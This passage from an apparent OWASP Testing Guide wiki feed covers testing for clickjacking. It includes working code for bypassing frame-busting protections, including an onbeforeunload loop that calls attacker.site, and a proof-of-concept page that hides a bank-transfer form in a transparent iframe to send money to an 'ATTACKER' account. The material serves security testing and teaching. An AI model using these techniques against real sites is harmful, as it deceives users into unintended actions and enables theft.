As mentioned above, this type of attack is often designed to allow an attacker site to induce user's actions on the target site even if anti-CSRF tokens are being used. So it's important, like for the CSRF attack, to individuate web pages of the target site that it take input from the user.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
We have to discover if the website that we are testing has no protections against clickjacking attacks or, if the developers have implemented some forms of protection, if these techniques are liable to bypass. Once we know that the website is vulnerable, we can create a &amp;quot;proof of concept&amp;quot; to exploit the vulnerability. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The first step to discover if a website is vulnerable, is to check if the target web page could be loaded into an iframe.&lt;br /&gt;
To do this you need to create a simple web page that includes a frame containing the target web page. The HTML code to create this testing web page is displayed in the following snippet:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;html&amp;gt;&lt;br /&gt;
   &amp;lt;head&amp;gt;&lt;br /&gt;
     &amp;lt;title&amp;gt;Clickjack test page&amp;lt;/title&amp;gt;&lt;br /&gt;
   &amp;lt;/head&amp;gt;&lt;br /&gt;
   &amp;lt;body&amp;gt;&lt;br /&gt;
     &amp;lt;p&amp;gt;Website is vulnerable to clickjacking!&amp;lt;/p&amp;gt;&lt;br /&gt;
     &amp;lt;iframe src=&amp;quot;http://www.target.site&amp;quot; width=&amp;quot;500&amp;quot; height=&amp;quot;500&amp;quot;&amp;gt;&amp;lt;/iframe&amp;gt;&lt;br /&gt;
   &amp;lt;/body&amp;gt;&lt;br /&gt;
&amp;lt;/html&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Result Expected:'''&lt;br /&gt;
If you can see both the text &amp;quot;Website is vulnerable to clickjacking!&amp;quot; at the top of the page and your target web page successfully loaded into the frame, then your site is vulnerable and has no type of protection against Clickjacking attacks. Now you can directly create a &amp;quot;proof of concept&amp;quot; to demonstrate that an attacker could exploit this vulnerability.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Bypass Clickjacking protection:===&lt;br /&gt;
In case in which you only see the target site or the text &amp;quot;Website is vulnerable to clickjacking!&amp;quot; but nothing in the iframe this mean that the target probably has some form of protection against clickjacking. It’s important to note that this isn’t a guarantee that the page is totally immune to clickjacking.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Methods to protect a web page from clickjacking can be divided in two macro-categories:&lt;br /&gt;
* Client side protection: Frame Busting&lt;br /&gt;
* Server side protection: X-Frame-Options&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
In some circumstances, every single type of defense could be bypassed. Following are presented the main methods of protection from these attacks and techniques to bypass them.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Client side protection: Frame Busting====&lt;br /&gt;
The most common client side method, that has been developed to protect a web page from clickjacking, is called Frame Busting and it consists of a script in each page that should not be framed. The aim of this technique is to prevent a site from functioning when it is loaded inside a frame. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The structure of frame busting code typically consists of a &amp;quot;conditional statement&amp;quot; and a &amp;quot;counter-action&amp;quot; statement.&lt;br /&gt;
For this type of protection, there are some work arounds that fall under the name of &amp;quot;Bust frame busting&amp;quot;. Some of this techniques are browser-specific while others work across browsers. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Mobile website version'''&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Mobile versions of the website are usually smaller and faster than the desktop ones, and they have to be less complex than the main application. Mobile variants have often less protection since there is the wrong assumption that an attacker could not attack an application by the smart phone. This is fundamentally wrong, because an attacker can fake the real origin given by a web browser, such that a non-mobile victim may be able to visit an application made for mobile users.&lt;br /&gt;
From this assumption follows that in some cases it is not necessary to use techniques to evade frame busting when there are unprotected alternatives, which allow the use of same attack vectors.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Double Framing'''&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Some frame busting techniques try to break frame by assigning a value to the &amp;quot;parent.location&amp;quot; attribute in the &amp;quot;counter-action&amp;quot; statement. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Such actions are, for example:&lt;br /&gt;
* self.parent.location = document.location&lt;br /&gt;
* parent.location.href = self.location&lt;br /&gt;
* parent.location = self.location&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
This method works well until the target page is framed by a single page. However, if the attacker encloses the target web page in one frame which is nested in another one (a double frame), then trying to access to &amp;quot;parent.location&amp;quot; becomes a security violation in all popular browsers, due to the descendant frame navigation policy. This security violation disables the counter-action navigation.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Target site frame busting code (target site):&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
if(top.location!=self.locaton) {&lt;br /&gt;
   parent.location = self.location;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Attacker’s  top frame (fictitious2.html):&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;iframe src=&amp;quot;fictitious.html&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Attacker’s fictitious sub-frame (fictitious.html):&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;iframe src=&amp;quot;http://target site&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Disabling javascript'''&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Since these type of client side protections relies on JavaScript frame busting code, if the victim has JavaScript disabled or it is possible for an attacker to disable JavaScript code, the web page will not have any protection mechanism against clickjacking. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
There are three deactivation techniques that can be used with frames:&lt;br /&gt;
* Restricted frames with Internet Explorer: Starting from Internet Explorer 6, a frame can have the &amp;quot;security&amp;quot; attribute that, if it is set to the value &amp;quot;restricted&amp;quot;, ensures that JavaScript code, ActiveX controls, and re-directs to other sites do not work in the frame.&lt;br /&gt;
&lt;br /&gt;
Example:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;iframe src=&amp;quot;http://target site&amp;quot; security=&amp;quot;restricted&amp;quot;&amp;gt;&amp;lt;/iframe&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Sandbox attribute: with HTML5 there is a new attribute called &amp;quot;sandbox&amp;quot;. It enables a set of restrictions on content loaded into the iframe. At this moment this attribute is only compatible whit Chrome and Safari.&lt;br /&gt;
&lt;br /&gt;
Example:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;iframe src=&amp;quot;http://target site&amp;quot; sandbox&amp;gt;&amp;lt;/iframe&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Design mode: Paul Stone showed a security issue concerning the &amp;quot;designMode&amp;quot; that can be turned on in the framing page (via document.designMode), disabling JavaScript in top and sub-frame. The design mode is currently implemented in Firefox and IE8.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''onBeforeUnload event'''&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
The onBeforeUnload event could be used to evade frame busting code. This event is called when the frame busting code wants to destroy the iframe by loading the URL in the whole web page and not only in the iframe. The handler function returns a string that is prompted to the user asking confirm if he wants to leave the page. When this string is displayed to the user is likely to cancel the navigation, defeating traget's frame busting attempt. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The attacker can use this attack by registering an unload event on the top page using the following example code:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;h1&amp;gt;www.fictitious.site&amp;lt;/h1&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;&lt;br /&gt;
   window.onbeforeunload = function()&lt;br /&gt;
   {&lt;br /&gt;
      return &amp;quot; Do you want to leave fictitious.site?&amp;quot;;&lt;br /&gt;
   }&lt;br /&gt;
&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;iframe src=&amp;quot;http://target site&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The previous technique requires the user interaction but, the same result, can be achieved without prompting the user. To do this the attacker have to automatically cancel the incoming navigation request in an onBeforeUnload event handler by repeatedly submitting (for example every millisecond) a navigation request to a web page that responds with a &amp;quot;HTTP/1.1 204 No Content&amp;quot; header. &lt;br /&gt;
&lt;br /&gt;
Since with this response the browser will do nothing, the resulting of this operation is the flushing of the request pipeline, rendering the original frame busting attempt futile. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Following an example code: &lt;br /&gt;
&lt;br /&gt;
204 page:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
   header(&amp;quot;HTTP/1.1 204 No Content&amp;quot;);&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Attacker's page:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;&lt;br /&gt;
	var prevent_bust = 0;&lt;br /&gt;
	window.onbeforeunload = function() {&lt;br /&gt;
		prevent_bust++;&lt;br /&gt;
	};&lt;br /&gt;
	setInterval(&lt;br /&gt;
		function() {&lt;br /&gt;
			if (prevent_bust &amp;gt; 0) {&lt;br /&gt;
				prevent_bust -= 2;&lt;br /&gt;
				window.top.location = &amp;quot;http://attacker.site/204.php&amp;quot;;&lt;br /&gt;
			}&lt;br /&gt;
		}, 1);&lt;br /&gt;
&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;iframe src=&amp;quot;http://target site&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''XSS Filter'''&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Starting from Google Chrome 4.0 and from IE8 there were introduced XSS filters to protect users from reflected XSS attacks. Nava and Lindsay have observed that these kind of filters can be used to deactivate frame busting code by faking it as malicious code.&lt;br /&gt;
* &amp;lt;b&amp;gt;IE8 XSS filter&amp;lt;/b&amp;gt;: this filter has visibility into all requests and responses parameters flowing  through the web browser and it compares them to a set of regular expressions in order to look for reflected XSS attempts. When the filter identifies a possible XSS attacks; it disable all inline scripts within the page, including frame busting scripts (the same thing could be done with external scripts). For this reason an attacker could induces a false positive by inserting the beginning of the frame busting script into a request parameters.&lt;br /&gt;
&lt;br /&gt;
Example:&lt;br /&gt;
Target web page frame busting code:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;&lt;br /&gt;
   if ( top != self ) &lt;br /&gt;
   {&lt;br /&gt;
      top.location=self.location;&lt;br /&gt;
   }&lt;br /&gt;
&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Attacker code:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;iframe src=”http://target site/?param=&amp;lt;script&amp;gt;if”&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;b&amp;gt;Chrome 4.0 XSSAuditor filter&amp;lt;/b&amp;gt;: It has a little different behaviour compared to IE8 XSS filter, in fact with this filter an attacker could deactivate a &amp;quot;script&amp;quot; by passing its code in a request parameter. This enables the framing page to specifically target a single snippet containing the frame busting code, leaving all the other codes intact.&lt;br /&gt;
&lt;br /&gt;
Example:&lt;br /&gt;
Target web page frame busting code:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;&lt;br /&gt;
   if ( top != self ) &lt;br /&gt;
   {&lt;br /&gt;
      top.location=self.location;&lt;br /&gt;
   }&lt;br /&gt;
&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Attacker code:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;iframe src=”http://target site/?param=if(top+!%3D+self)+%7B+top.location%3Dself.location%3B+%7D”&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Redefining location'''&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
For several browser the &amp;quot;document.location&amp;quot; variable is an immutable attribute. However, for some version of Internet Explorer and Safari, it is possible to redefine this attribute. This fact can be exploited to evade frame busting code.&lt;br /&gt;
* &amp;lt;b&amp;gt;Redefining location in IE7 and IE8&amp;lt;/b&amp;gt;: it is possible to redefine &amp;quot;location&amp;quot; as it is illustrated in the following example. By defining &amp;quot;location&amp;quot; as a variable, any code that tries to read or to navigate by assigning &amp;quot;top.location&amp;quot; will fail due to a security violation and so the frame busting code is suspended.&lt;br /&gt;
&lt;br /&gt;
Example:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;&lt;br /&gt;
   var location = &amp;quot;xyz&amp;quot;;&lt;br /&gt;
&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;iframe src=&amp;quot;http://target site&amp;quot;&amp;gt;&amp;lt;/iframe&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;b&amp;gt;Redefining location in Safari 4.0.4&amp;lt;/b&amp;gt;: To bust frame busting code with &amp;quot;top.location&amp;quot; it is possible to bind &amp;quot;location&amp;quot; to a function via defineSetter (through window), so that an attempt to read or navigate to the &amp;quot;top.location&amp;quot; will fail.&lt;br /&gt;
&lt;br /&gt;
Example:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;&lt;br /&gt;
  window.defineSetter(&amp;quot;location&amp;quot; , function(){});&lt;br /&gt;
&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;iframe src=&amp;quot;http://target site&amp;quot;&amp;gt;&amp;lt;/iframe&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Server side protection: X-Frame-Options====&lt;br /&gt;
An alternative approach to client side frame busting code was implemented by Microsoft and it consists of an header based defense. This new &amp;quot;X-FRAME-OPTIONS&amp;quot; header is sent from the server on HTTP responses and is used to mark web pages that shouldn't be framed. This header can take the values DENY, SAMEORIGIN, ALLOW-FROM origin, or non-standard ALLOWALL. Recommended value is DENY.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The &amp;quot;X-FRAME-OPTIONS&amp;quot; is a very good solution, and was adopted by major browser, but also for this technique there are some limitations that could lead in any case to exploit the clickjacking vulnerability.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Browser compatibility'''&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Since the &amp;quot;X-FRAME-OPTIONS&amp;quot; was introduced in 2009, this header is not compatible with old browser. So every user that doesn't have an updated browser could be victim of clickjacking attack.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Browser !! Lowest version&lt;br /&gt;
|-&lt;br /&gt;
| Internet Explorer || 8.0 &lt;br /&gt;
|-&lt;br /&gt;
| Firefox (Gecko) || 3.6.9 (1.9.2.9) &lt;br /&gt;
|-&lt;br /&gt;
| Opera || 10.50 &lt;br /&gt;
|-&lt;br /&gt;
| Safari || 4.0&lt;br /&gt;
|-&lt;br /&gt;
| Chrome || 4.1.249.1042  &lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Proxies'''&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Web proxies are known for adding and stripping headers. In the case in which a web proxy strips the &amp;quot;X-FRAME-OPTIONS&amp;quot; header then the site loses its framing protection.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Mobile website version'''&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Also in this case, since the &amp;quot;X-FRAME-OPTIONS&amp;quot; has to be implemented in every page of the website, the developers may have not protected the mobile version of the website.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Create a &amp;quot;proof of concept&amp;quot; ===&lt;br /&gt;
Once we have discovered that the site we are testing is vulnerable to clickjacking attack, we can proceed with the development of a &amp;quot;proof of concept&amp;quot; to demonstrate the vulnerability. It is important to note that, as mentioned previously, these attacks can be used in conjunction with other forms of attacks (for example CSRF attacks) and could lead to overcome anti-CSRF tokens.&lt;br /&gt;
In this regard we can imagine that, for example, the target site allows to authenticated and authorized users to make a transfer of money to another account.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Suppose that to execute the transfer the developers have planned three steps. In the first step the user fill a form with the destination account and the amount. In the second step, whenever the user submits the form, is presented a summary page asking the user confirmation (like the one presented in the following picture). &lt;br /&gt;
&lt;br /&gt;
[[Image:Clickjacking example step2.png|400px|thumb|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Following a snippet of the code for the step 2:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
//generate random anti CSRF token&lt;br /&gt;
$csrfToken = md5(uniqid(rand(), TRUE));&lt;br /&gt;
&lt;br /&gt;
//set the token as in the session data&lt;br /&gt;
$_SESSION['antiCsrf'] = $csrfToken;&lt;br /&gt;
&lt;br /&gt;
//Transfer form with the hidden field&lt;br /&gt;
$form = '&lt;br /&gt;
&amp;lt;form name=&amp;quot;transferForm&amp;quot; action=&amp;quot;confirm.php&amp;quot; method=&amp;quot;POST&amp;quot;&amp;gt;&lt;br /&gt;
	  &amp;lt;div class=&amp;quot;box&amp;quot;&amp;gt;&lt;br /&gt;
		&amp;lt;h1&amp;gt;BANK XYZ - Confirm Transfer&amp;lt;/h1&amp;gt;&lt;br /&gt;
		&amp;lt;p&amp;gt;&lt;br /&gt;
		Do You want to confirm a transfer of &amp;lt;b&amp;gt;'. $_REQUEST['amount'] .' &amp;amp;euro;&amp;lt;/b&amp;gt; to account: &amp;lt;b&amp;gt;'. $_REQUEST['account'] .'&amp;lt;/b&amp;gt; ?&lt;br /&gt;
		&amp;lt;/p&amp;gt;&lt;br /&gt;
		&amp;lt;label&amp;gt;&lt;br /&gt;
			&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;amount&amp;quot; value=&amp;quot;' . $_REQUEST['amount'] . '&amp;quot; /&amp;gt;&lt;br /&gt;
			&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;account&amp;quot; value=&amp;quot;' . $_REQUEST['account'] . '&amp;quot; /&amp;gt;				&lt;br /&gt;
			&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;antiCsrf&amp;quot; value=&amp;quot;' . $csrfToken . '&amp;quot; /&amp;gt;&lt;br /&gt;
			&amp;lt;input type=&amp;quot;submit&amp;quot; class=&amp;quot;button&amp;quot; value=&amp;quot;Transfer Money&amp;quot; /&amp;gt;&lt;br /&gt;
		&amp;lt;/label&amp;gt;&lt;br /&gt;
		&lt;br /&gt;
	 &amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/form&amp;gt;';&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
In the last step are planned security controls and then, if all is ok, the transfer is done. In the following listing a snippet of code of the last step is presented (&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: in this example, for simplicity, there is no input sanitization, but it has no relevance to block this type of attack):&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
if( (!empty($_SESSION['antiCsrf'])) &amp;amp;&amp;amp; (!empty($_POST['antiCsrf'])) )&lt;br /&gt;
{&lt;br /&gt;
	  &lt;br /&gt;
	//here we can suppose input sanitization code…    &lt;br /&gt;
&lt;br /&gt;
    //check the anti-CSRF token&lt;br /&gt;
    if( ($_SESSION['antiCsrf'] == $_POST['antiCsrf']) )&lt;br /&gt;
    {&lt;br /&gt;
		echo '&amp;lt;p&amp;gt; '. $_POST['amount'] .' &amp;amp;euro; successfully transfered to account: '. $_POST['account'] .' &amp;lt;/p&amp;gt;';&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
else&lt;br /&gt;
{&lt;br /&gt;
	echo '&amp;lt;p&amp;gt;Transfer KO&amp;lt;/p&amp;gt;';&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
As you can see the code is protected from CSRF attack both with a random token generated in the second step and accepting only variable passed via POST method. In this situation an attacker could forge a CSRF + Clickjacking attack to evade anti-CSRF protection and force a victim to do a money transfer without her consent.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The target page for the attack is the second step of the money transfer procedure. Since the developers put the security controls only in the last step, thinking that this is secure enough, the attacker could pass the account and amount parameters via GET method. (&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: there is an advanced clickjacking attack that permits to force users to fill a form, so also in the case in which is required to fill a form, the attack is feasible).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The attacker's page may look a simple and harmless web page like the one presented below:&lt;br /&gt;
&lt;br /&gt;
[[Image:clickjacking_example_malicious_page_1.png|400px|thumb|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
But playing with the CSS opacity value we can see what is hidden under a seemingly innocuous web page.&lt;br /&gt;
&lt;br /&gt;
[[Image:clickjacking_example_malicious_page_2.png|400px|thumb|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The clickjacking code to create this page is presented below:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;html&amp;gt;&lt;br /&gt;
	&amp;lt;head&amp;gt;&lt;br /&gt;
		&amp;lt;title&amp;gt;Trusted web page&amp;lt;/title&amp;gt;&lt;br /&gt;
		&lt;br /&gt;
		&amp;lt;style type=&amp;quot;text/css&amp;quot;&amp;gt;&amp;lt;!-- &lt;br /&gt;
			*{ &lt;br /&gt;
				margin:0; &lt;br /&gt;
				padding:0;&lt;br /&gt;
			}&lt;br /&gt;
			body {  &lt;br /&gt;
				background:#ffffff;&lt;br /&gt;
			}&lt;br /&gt;
			.button&lt;br /&gt;
			{&lt;br /&gt;
				padding:5px;&lt;br /&gt;
				background:#6699CC;&lt;br /&gt;
				left:275px;&lt;br /&gt;
				width:120px;&lt;br /&gt;
				border: 1px solid #336699;&lt;br /&gt;
			}&lt;br /&gt;
			#content {&lt;br /&gt;
				width: 500px;&lt;br /&gt;
				height: 500px;&lt;br /&gt;
				margin-top: 150px ;&lt;br /&gt;
				margin-left: 500px;&lt;br /&gt;
			}&lt;br /&gt;
			#clickjacking&lt;br /&gt;
			{ &lt;br /&gt;
 				position: absolute; &lt;br /&gt;
				left: 172px; &lt;br /&gt;
				top: 60px; &lt;br /&gt;
				filter: alpha(opacity=0); &lt;br /&gt;
				opacity:0.0&lt;br /&gt;
			} &lt;br /&gt;
		//--&amp;gt;&amp;lt;/style&amp;gt;&lt;br /&gt;
		&lt;br /&gt;
	&amp;lt;/head&amp;gt;&lt;br /&gt;
	&amp;lt;body&amp;gt;&lt;br /&gt;
		&amp;lt;div id=&amp;quot;content&amp;quot;&amp;gt;&lt;br /&gt;
			&amp;lt;h1&amp;gt;www.owasp.com&amp;lt;/h1&amp;gt;&lt;br /&gt;
			&amp;lt;form action=&amp;quot;http://www.owasp.com&amp;quot;&amp;gt;&lt;br /&gt;
				&amp;lt;input type=&amp;quot;submit&amp;quot; class=&amp;quot;button&amp;quot; value=&amp;quot;Click and go!&amp;quot;&amp;gt;&lt;br /&gt;
			&amp;lt;/form&amp;gt;&lt;br /&gt;
		&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
                &amp;lt;iframe id=&amp;quot;clickjacking&amp;quot; src=&amp;quot;http://localhost/csrf/transfer.php?account=ATTACKER&amp;amp;amount=10000&amp;quot; width=&amp;quot;500&amp;quot; height=&amp;quot;500&amp;quot; scrolling=&amp;quot;no&amp;quot; frameborder=&amp;quot;none&amp;quot;&amp;gt;&lt;br /&gt;
                &amp;lt;/iframe&amp;gt;&lt;br /&gt;
	&amp;lt;/body&amp;gt;&lt;br /&gt;
&amp;lt;/html&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
With the help of CSS (note the #clickjacking block) we can mask and suitably position the iframe in such a way as to match the buttons. If the victim click on the button &amp;quot;Click and go!&amp;quot; the form is submitted and the transfer is completed.&lt;br /&gt;
&lt;br /&gt;
[[Image:clickjacking_example_malicious_page_3.png|400px|thumb|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The example presented uses only basic clickjacking technique, but with advanced technique is possible to force user filling form with values defined by the attacker.&lt;br /&gt;
&lt;br /&gt;
==Tools==&lt;br /&gt;
* Context Information Security: &amp;quot;Clickjacking Tool&amp;quot; - http://www.contextis.com/research/tools/clickjacking-tool/&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''OWASP Resources'''&lt;br /&gt;
* [[Clickjacking]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Whitepapers'''&lt;br /&gt;
* Marcus Niemietz: &amp;quot;UI Redressing: Attacks and Countermeasures Revisited&amp;quot; - http://ui-redressing.mniemietz.de/uiRedressing.pdf&lt;br /&gt;
* &amp;quot;Clickjacking&amp;quot; - https://en.wikipedia.org/wiki/Clickjacking&lt;br /&gt;
* Gustav Rydstedt, Elie Bursztein, Dan Boneh, and Collin Jackson: &amp;quot;Busting Frame Busting: a Study of Clickjacking Vulnerabilities on Popular Sites&amp;quot; - http://seclab.stanford.edu/websec/framebusting/framebust.pdf&lt;br /&gt;
* Paul Stone: &amp;quot;Next generation clickjacking&amp;quot; - https://media.blackhat.com/bh-eu-10/presentations/Stone/BlackHat-EU-2010-Stone-Next-Generation-Clickjacking-slides.pdf&lt;/div&gt;</summary>
		<author><name>Nvhaver</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Clickjacking_(OTG-CLIENT-009)&amp;diff=186318</id>
		<title>Testing for Clickjacking (OTG-CLIENT-009)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Clickjacking_(OTG-CLIENT-009)&amp;diff=186318"/>
				<updated>2014-12-01T19:19:35Z</updated>
		
		<summary type="html">&lt;p&gt;Nvhaver: /* Create a &amp;quot;proof of concept&amp;quot; */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Summary ==&lt;br /&gt;
&amp;quot;Clickjacking&amp;quot; (which is a subset of the &amp;quot;UI redressing&amp;quot;) is a malicious technique that consists of deceiving a web user into interacting (in most cases by clicking) with something different to what the user believes they are interacting with. This type of attack, that can be used alone or in combination with other attacks, could potentially send unauthorized commands or reveal confidential information while the victim is interacting on seemingly harmless web pages. The term &amp;quot;Clickjacking&amp;quot; was coined by Jeremiah Grossman and Robert Hansen in 2008.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
A Clickjacking attack uses seemingly innocuous features of HTML and Javascript to force the victim to perform undesired actions, such as clicking on a button that appears to perform another operation. This is a &amp;quot;client side&amp;quot; security issue that affects a variety of browsers and platforms.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
To carry out this type of technique the attacker has to create a seemingly harmless web page that loads the target application through the use of an iframe (suitably concealed through the use of CSS code). Once this is done, the attacker could induce the victim to interact with his fictitious web page by other means (like for example social engineering). Like others attacks, an usual prerequisite is that the victim is authenticated against the attacker's target website.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Image:clickjacking_description.png|400px|thumb|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Once the victim is surfing on the fictitious web page, he thinks that he is interacting with the visible user interface, but effectively he is performing actions on the hidden page. Since the hidden page is an authentic page, the attacker can deceive users into performing actions which they never intended to perform through an &amp;quot;ad hoc&amp;quot; positioning of the elements in the web page.  &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Image:Masked_iframe.png|400px|thumb|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The power of this method is due to the fact that the actions performed by the victim are originated from the authentic target web page (hidden but authentic). Consequently some of the anti-CSRF protections, that are deployed by the developers to protect the web page from CSRF attacks, could be bypassed.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===How to Test===&lt;br /&gt;
As mentioned above, this type of attack is often designed to allow an attacker site to induce user's actions on the target site even if anti-CSRF tokens are being used. So it's important, like for the CSRF attack, to individuate web pages of the target site that it take input from the user.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
